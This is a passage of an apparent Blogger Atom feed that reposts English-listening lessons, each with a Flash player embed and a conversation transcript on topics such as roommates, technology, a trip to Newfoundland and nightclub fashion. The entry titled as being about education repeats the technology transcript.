href='http://danglvh.blogspot.com/2007/09/565-movies-al-talks-about-future-of.html' title='#565 Movies - Al talks about the future of movies'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8067823146885086089</id><published>2007-09-14T22:25:00.002+07:00</published><updated>2007-09-14T22:25:40.776+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#564 The Roommate  - Jeff talks about having a roommate</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/563Q-Jeff-Learning.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/563Q-Jeff-Learning.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: Hey, Jeff this is a very nice apartment.&lt;br /&gt;&lt;br /&gt;Jeff: Hmm. It's comfortable. It's cozy. Japanese style.&lt;br /&gt;&lt;br /&gt;Todd: I like it. It's got the tatami mat, small kitchen. Do you live alone?&lt;br /&gt;&lt;br /&gt;Jeff: I live alone but right now I have a friend of mine staying with me.&lt;br /&gt;&lt;br /&gt;Todd: Oh, really, a roommate.&lt;br /&gt;&lt;br /&gt;Jeff: Sort of like a roommate, yes. A short term, he's staying with me short-term, so yes a roommate.&lt;br /&gt;&lt;br /&gt;Todd: OK, how's that going?&lt;br /&gt;&lt;br /&gt;Jeff: Ah, I don't like it.&lt;br /&gt;&lt;br /&gt;Todd: Why?&lt;br /&gt;&lt;br /&gt;Jeff: He's lazy. He's messy. He drinks too much. He doesn't exercise and he doesn't contribute any money to the rent.&lt;br /&gt;&lt;br /&gt;Todd: Ooh, so he lives here and he doesn't give you any money?&lt;br /&gt;&lt;br /&gt;Jeff: Well, yeah, he doesn't give me any money. The money's not so bad, though, it's just that he's lazy and he doesn't do much all day.&lt;br /&gt;&lt;br /&gt;Todd: That's got to be pretty annoying.&lt;br /&gt;&lt;br /&gt;Jeff: He's a great fellow. He's a good friend of mine, but, yeah, he's, I try to motivate him to do a few things but he's a tough one.&lt;br /&gt;&lt;br /&gt;Todd: Are you going to tell him he has to move out?&lt;br /&gt;&lt;br /&gt;Jeff: Ah, no, he's a smart man. He knows. He knows. He knows the deal. He knows what's going on and I think he's, yeah, I would never ask him to move out because I don't mind having him here but I'm just going to try to whip him into shape.&lt;br /&gt;&lt;br /&gt;Todd: Oh, so you're just going to try to change him so he becomes a better roommate?&lt;br /&gt;&lt;br /&gt;Jeff: I'm going to be like a woman and try to, yeah, try to get him a better schedule, a better schedule (yeah) like exercise and eating right and less smoking and less drinking.&lt;br /&gt;&lt;br /&gt;Todd: Well, what is his schedule?&lt;br /&gt;&lt;br /&gt;Jeff: Ah, his schedule is, he's like a night owl, he stays up most of the night drinking, and then he sleeps most of the day recovering, and then when he gets up he has a hangover. He's a bit sluggish and slow, so it's not a healthy lifestyle.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, it doesn't sound like it. Good luck.&lt;br /&gt;&lt;br /&gt;Jeff: No problem.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8067823146885086089?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8067823146885086089/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/564-roommate-jeff-talks-about-having.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8067823146885086089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8067823146885086089'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/564-roommate-jeff-talks-about-having.html' title='#564 The Roommate  - Jeff talks about having a roommate'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6346138169326044268</id><published>2007-09-14T22:20:00.002+07:00</published><updated>2007-09-14T22:20:51.810+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#563 Technology - Jeff and Todd talk about technology</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/563Q-Jeff-Learning.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/563Q-Jeff-Learning.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Jeff, let's talk about technology. These days we have all types of new technology, computers,&lt;br /&gt;&lt;br /&gt;Jeff: Can we just end this right now. I don't like technology, so can we talk about something else.&lt;br /&gt;&lt;br /&gt;Todd: What? You don't like technology.&lt;br /&gt;&lt;br /&gt;Jeff: No, I don't like technology.&lt;br /&gt;&lt;br /&gt;Todd: What do you mean you don't like technology.&lt;br /&gt;&lt;br /&gt;Jeff: Technology is, I think it's gone against what it was originally invented for, and that is for convenience to make people's lives more easy and to give them more free time, and I think it's totally gone against what it was originally invented to do.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, but technology does make your lived easier, like it saves us time, it communicates,&lt;br /&gt;&lt;br /&gt;Jeff: But does it save us time?&lt;br /&gt;&lt;br /&gt;Todd: I think so. I mean, before you had to type something up, now you can just type it up on a word processor. It's quicker. Before you had to walk to a phone. Now the phone is in your pocket. You can just pick it up and call anytime, anywhere in the world.&lt;br /&gt;&lt;br /&gt;Jeff: Kind of. I kind of agree with that, but sometimes that walk to the phone is sort of pleasant and you had time to think about other things, but now as you're walking to the phone, you're typing something into your PDA while you're listening to your MP3 player, and then you get into your car and you drive to your office and the first thing you do is check your e-mail and then right after that you check your voice mail and then you send an e-mail to someone and then, I think it's just sort of, it's cluttered. It;s cluttered our lives versus clean it up.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, but maybe if you did not have that, then you would probably have something else that would just clutter up your life. I'm sure people were busy before they had technology.&lt;br /&gt;&lt;br /&gt;Jeff: Mm, I agree. I think they were busy but maybe more wholesome things, or less, I think, I think you, we, our mind's are sort of, our minds are always bombarded with images or news and a lot of this stuff is not needed but because it is there we use it. I don't think we have to see so much news or read so many different things on the internet and see so much on television and the DVD player, get our news on our MP3 players and our hand-held, our little hand-held computers, our PDA's. I think it's just, we fill our time now with things that are not really needed or not maybe as useful or as clean as the old days: reading and writing and peotry, and when was the last time you wrote a letter to one of your friends and a nice hand-written letter, and put it in an envelope and put it in the mailbox.&lt;br /&gt;&lt;br /&gt;Todd: About three or four years.&lt;br /&gt;&lt;br /&gt;Jeff: Or a postcard even.&lt;br /&gt;&lt;br /&gt;Todd: Four years.&lt;br /&gt;&lt;br /&gt;Jeff: So, I think it's, technology is good but I think it's sometimes defeats it's own original purpose.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6346138169326044268?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6346138169326044268/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/563-technology-jeff-and-todd-talk-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6346138169326044268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6346138169326044268'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/563-technology-jeff-and-todd-talk-about.html' title='#563 Technology - Jeff and Todd talk about technology'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6655079136786022032</id><published>2007-09-14T22:14:00.000+07:00</published><updated>2007-09-14T22:14:25.579+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#562 Is Education Useful?  - Jeff and Todd talk about higher education</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/563Q-Jeff-Technology.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/563Q-Jeff-Technology.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Jeff, let's talk about technology. These days we have all types of new technology, computers,&lt;br /&gt;&lt;br /&gt;Jeff: Can we just end this right now. I don't like technology, so can we talk about something else.&lt;br /&gt;&lt;br /&gt;Todd: What? You don't like technology.&lt;br /&gt;&lt;br /&gt;Jeff: No, I don't like technology.&lt;br /&gt;&lt;br /&gt;Todd: What do you mean you don't like technology.&lt;br /&gt;&lt;br /&gt;Jeff: Technology is, I think it's gone against what it was originally invented for, and that is for convenience to make people's lives more easy and to give them more free time, and I think it's totally gone against what it was originally invented to do.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, but technology does make your lived easier, like it saves us time, it communicates,&lt;br /&gt;&lt;br /&gt;Jeff: But does it save us time?&lt;br /&gt;&lt;br /&gt;Todd: I think so. I mean, before you had to type something up, now you can just type it up on a word processor. It's quicker. Before you had to walk to a phone. Now the phone is in your pocket. You can just pick it up and call anytime, anywhere in the world.&lt;br /&gt;&lt;br /&gt;Jeff: Kind of. I kind of agree with that, but sometimes that walk to the phone is sort of pleasant and you had time to think about other things, but now as you're walking to the phone, you're typing something into your PDA while you're listening to your MP3 player, and then you get into your car and you drive to your office and the first thing you do is check your e-mail and then right after that you check your voice mail and then you send an e-mail to someone and then, I think it's just sort of, it's cluttered. It;s cluttered our lives versus clean it up.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, but maybe if you did not have that, then you would probably have something else that would just clutter up your life. I'm sure people were busy before they had technology.&lt;br /&gt;&lt;br /&gt;Jeff: Mm, I agree. I think they were busy but maybe more wholesome things, or less, I think, I think you, we, our mind's are sort of, our minds are always bombarded with images or news and a lot of this stuff is not needed but because it is there we use it. I don't think we have to see so much news or read so many different things on the internet and see so much on television and the DVD player, get our news on our MP3 players and our hand-held, our little hand-held computers, our PDA's. I think it's just, we fill our time now with things that are not really needed or not maybe as useful or as clean as the old days: reading and writing and peotry, and when was the last time you wrote a letter to one of your friends and a nice hand-written letter, and put it in an envelope and put it in the mailbox.&lt;br /&gt;&lt;br /&gt;Todd: About three or four years.&lt;br /&gt;&lt;br /&gt;Jeff: Or a postcard even.&lt;br /&gt;&lt;br /&gt;Todd: Four years.&lt;br /&gt;&lt;br /&gt;Jeff: So, I think it's, technology is good but I think it's sometimes defeats it's own original purpose.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6655079136786022032?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6655079136786022032/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/562-is-education-useful-jeff-and-todd.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6655079136786022032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6655079136786022032'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/562-is-education-useful-jeff-and-todd.html' title='#562 Is Education Useful?  - Jeff and Todd talk about higher education'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6874097195424471021</id><published>2007-09-14T22:09:00.000+07:00</published><updated>2007-09-14T22:09:04.411+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#561 Wild Vacation - Jeff talks about an adventure he has planned</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/561Q-Jeff-Trip.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/561Q-Jeff-Trip.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: OK, so Jeff, you're going back to Canada. What are you gonna do, just sit on the couch and watch TV?&lt;br /&gt;&lt;br /&gt;Jeff: No, I'm going to go on a trip with my father.&lt;br /&gt;&lt;br /&gt;Todd: Really, just your dad?&lt;br /&gt;&lt;br /&gt;Jeff: Just me and my dad. We are going to go back to the island, the small island in Eastern Canada that I was born on and that my dad lived on for about 12 years.&lt;br /&gt;&lt;br /&gt;Todd: Cool.&lt;br /&gt;&lt;br /&gt;Jeff: We haven't been back there together since.&lt;br /&gt;&lt;br /&gt;Todd: So how long's it been?&lt;br /&gt;&lt;br /&gt;Jeff: Ah, 28 years.&lt;br /&gt;&lt;br /&gt;Todd: Woah.&lt;br /&gt;&lt;br /&gt;Jeff: So, and the island is, it's a very interesting island. It's very rugged and rough and the people who live there are very hard-nosed and hospitable and most of it is very inhospitable. It's very rough and rocky and lots of animals there and a very beautiful place so it's a very unique and sort of exotic island.&lt;br /&gt;&lt;br /&gt;Todd: What's this place called?&lt;br /&gt;&lt;br /&gt;Jeff: It's called Newfoundland.&lt;br /&gt;&lt;br /&gt;Todd: Newfoundland.&lt;br /&gt;&lt;br /&gt;Jeff: Newfoundland. Yes,and it's a pretty notorious island around the world, and my dad had four or his five kids there, and I was born there, and so it's a special place for him and it's a curious, it's a curious place for me. I'm very curious about it because I haven't been back there since I was a child, since I was five so, it's going to be an interesting trip I think.&lt;br /&gt;&lt;br /&gt;Todd: Ah, what type of things do you plan to do with your father?&lt;br /&gt;&lt;br /&gt;Jeff: Well, we're going to take a ferry. It takes 24 hours to get there by ferry, so we will take a ferry there, and then we're going to drive on 4x4's, little four wheeled vehicles, like a motorcyle from one side of the island all the way through the interior through the woods, to the other coast, and it's over a thousand kilometers, and it's pretty rough and slow and we're just going to go through the woods, straight across the island, through the woods.&lt;br /&gt;&lt;br /&gt;Todd: In this truck?&lt;br /&gt;&lt;br /&gt;Jeff: In these, we each have a little 4x4, each have a little four-wheeled vehicle and at night we'll camp in a tent and we'll have campfires and&lt;br /&gt;&lt;br /&gt;Todd: Oh, you mean the offroad vehicles like the little buggy thing.&lt;br /&gt;&lt;br /&gt;Jeff: Yeah, yeah, yeah. And my dad will have a gun so we'll probably shoot some animals and cook them up in the fire and we'll go fishing and so, yes, it'll just be very clean and very wholesome and very nice, quiet, two weeks.&lt;br /&gt;&lt;br /&gt;Todd: Are you a little worried about bears?&lt;br /&gt;&lt;br /&gt;Jeff: Ah, there're lots of bears around but they don't usually, they won't hurt you if you make enough noise, they'll, there scared of you. There're more scared of you than you are scared of them. (OK) Generally.&lt;br /&gt;&lt;br /&gt;Todd: But don't they want to eat your food and stuff?&lt;br /&gt;&lt;br /&gt;Jeff: Yeah, maybe, but you take certain precautions and you don't leave things lying around your camp or you hang them from a tree and usually the bears will leave you alone if you don't, if you don't intice them with food by leaving things around the camp.&lt;br /&gt;&lt;br /&gt;Todd: Oh, be careful. Sounds fun though.&lt;br /&gt;&lt;br /&gt;Jeff: Thank you. If you have time you can come along.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6874097195424471021?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6874097195424471021/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/561-wild-vacation-jeff-talks-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6874097195424471021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6874097195424471021'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/561-wild-vacation-jeff-talks-about.html' title='#561 Wild Vacation - Jeff talks about an adventure he has planned'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7628117795357791620</id><published>2007-09-14T22:07:00.000+07:00</published><updated>2007-09-14T22:07:18.156+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#560 School Comparison - Jeyong compares studying in China and the U.S</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/560Q-Jeyong-ChinaUSa.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/560Q-Jeyong-ChinaUSa.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So Jeyong, this is very interesting, you were a student in America for a long period of time. When did you study in America?&lt;br /&gt;&lt;br /&gt;Jeyong: When? (Uh-huh) Elementary school, third, yeah.&lt;br /&gt;&lt;br /&gt;Todd: Ah, so were you just there for one year?&lt;br /&gt;&lt;br /&gt;Jeyong: No, I was there for five years.&lt;br /&gt;&lt;br /&gt;Todd: Five years!&lt;br /&gt;&lt;br /&gt;Jeyong: Until 8th grade.&lt;br /&gt;&lt;br /&gt;Todd: Wow! So you were in America from the 3rd grade to the 8th grade? (Mm-hm) OK and you were also a student in China. (Yes) And when did you study in China?&lt;br /&gt;&lt;br /&gt;Jeyong: That'd be for my high school years.&lt;br /&gt;&lt;br /&gt;Todd: Wow, for three years.&lt;br /&gt;&lt;br /&gt;Jeyong: For two years.&lt;br /&gt;&lt;br /&gt;Todd: Two years. Wow. Can you think of any differences in the school life between China and the U.S.?&lt;br /&gt;&lt;br /&gt;Jeyong: The school life. The friends were all very nice to me, both in America and China, but one thing I had a problem is I went to America with not even knowing the alphabet so it was very hard for me to keep up with the English level, together with the Americans at school, so in the beginning I would fail all my tests and not even able to get a good grade in any English courses, only in math would I, I got A-plus, but other than that, I was horrible but, in China, before I went to China, I learned Chinese for four months, so that actually helped me a lot, so I was able to catch up the Chinese language pretty quickly.&lt;br /&gt;&lt;br /&gt;Todd: Now you are completely fluent in English. Are you completely fluent in Chinese?&lt;br /&gt;&lt;br /&gt;Jeyong: Now? (Mm-hm?) I can have a conversation fairly with Chinese friends.&lt;br /&gt;&lt;br /&gt;Todd: Wow! Do you ever dream in Chinese or English?&lt;br /&gt;&lt;br /&gt;Jeyong: That never happened to me.&lt;br /&gt;&lt;br /&gt;Todd: Ah, still in Korean.&lt;br /&gt;&lt;br /&gt;Jeyong: Still in Korean and a little bit of English.&lt;br /&gt;&lt;br /&gt;Todd: OK, how about the daily routine at the schools? Are there any differences between a day at school in America and a day of school in China?&lt;br /&gt;&lt;br /&gt;Jeyong: Well for America, I went with my family, so it would be a day school for me, and I would go to school at 8 o'clock in the morning, have lunch at school and come back home at 3:15, around that time, but in China I was in a dormitory, so I would wake up, I was forced to wake up at 6:30 in the morning, get ready, have breakfast and go to class at maybe 8:30, and then have lunch, and I was out of school at 9 o'clock.&lt;br /&gt;&lt;br /&gt;Todd: At night?&lt;br /&gt;&lt;br /&gt;Jeyong: Night.&lt;br /&gt;&lt;br /&gt;Todd: Whoa! That's a long day.&lt;br /&gt;&lt;br /&gt;Jeyong: Long day. I had to study a lot in China.&lt;br /&gt;&lt;br /&gt;Todd: Well, it sounds like a really good experience. You know that you were able to do both. You're very fortunate.&lt;br /&gt;&lt;br /&gt;Jeyong: Yes, I feel that way too.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7628117795357791620?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7628117795357791620/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/560-school-comparison-jeyong-compares.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7628117795357791620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7628117795357791620'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/560-school-comparison-jeyong-compares.html' title='#560 School Comparison - Jeyong compares studying in China and the U.S'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-1331509219148219458</id><published>2007-09-14T22:01:00.001+07:00</published><updated>2007-09-14T22:01:59.327+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#559 How to Look Sexy - Jeyong gives fashion tips for a night club</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/559Q-Jeyong-Club.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/559Q-Jeyong-Club.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Jeyong, you like to go to night clubs. (Yes) OK. When you go to a night club, what do kids wear these days? Like what makes you look cool in a night club or how should you dress?&lt;br /&gt;&lt;br /&gt;Jeyong: These days being sexy is what kids prefer, and by saying sexy, wearing a tank top, and a top that shows a lot of your skin.&lt;br /&gt;&lt;br /&gt;Todd: OK, a lot of skin. (Uh-huh) Um so tank tops, what about a guy? What would a guy wear for a shirt?&lt;br /&gt;&lt;br /&gt;Jeyong: A guy would be wearing casual hip-hop pants, and maybe a polo shirt.&lt;br /&gt;&lt;br /&gt;Todd: A polo shirt.&lt;br /&gt;&lt;br /&gt;Jeyong: Or a top.&lt;br /&gt;&lt;br /&gt;Todd: Like just a t-shirt.&lt;br /&gt;&lt;br /&gt;Jeyong: T-shirt.&lt;br /&gt;&lt;br /&gt;Todd: OK, now for a, would a girl wear hip-hop pants?&lt;br /&gt;&lt;br /&gt;Jeyong: No, girls wear also sexy clothes, maybe short skirts or comfortable jeans (OK) with high heels.&lt;br /&gt;&lt;br /&gt;Todd: High heels! Now aren't high heels hard to dance in?&lt;br /&gt;&lt;br /&gt;Jeyong: They are actually, but then it looks better with high heels on. They look taller.&lt;br /&gt;&lt;br /&gt;Todd: OK, what do the guys wear? Obviously they don't wear high heels.&lt;br /&gt;&lt;br /&gt;Jeyong: No. Guys wear sneakers.&lt;br /&gt;&lt;br /&gt;Todd: Ah, sneakers. OK. Now do you wear anytime of jewelry or anything? Do you wear necklaces or?&lt;br /&gt;&lt;br /&gt;Jeyong: I personally don't wear a necklaces but earrings. Big hoops. Silver ones. Those look really pretty at the clubs because it kind of shines, and make-up is really important, too.&lt;br /&gt;&lt;br /&gt;Todd: Really! OK.&lt;br /&gt;&lt;br /&gt;Jeyong: Like for eyelashes, you want to have a really strong look for your eyes, and maybe lip-gloss, would look good on too.&lt;br /&gt;&lt;br /&gt;Todd: Now, do the men wear make-up these days?&lt;br /&gt;&lt;br /&gt;Jeyong: No, but then perfume would be a nice thing to put on guys.&lt;br /&gt;&lt;br /&gt;Todd: OK. Now you said you want to look sexy, right, but you're 19, so when you go to the night club, can you leave your house&lt;br /&gt;looking like that, or is that something you have to hide from your parents?&lt;br 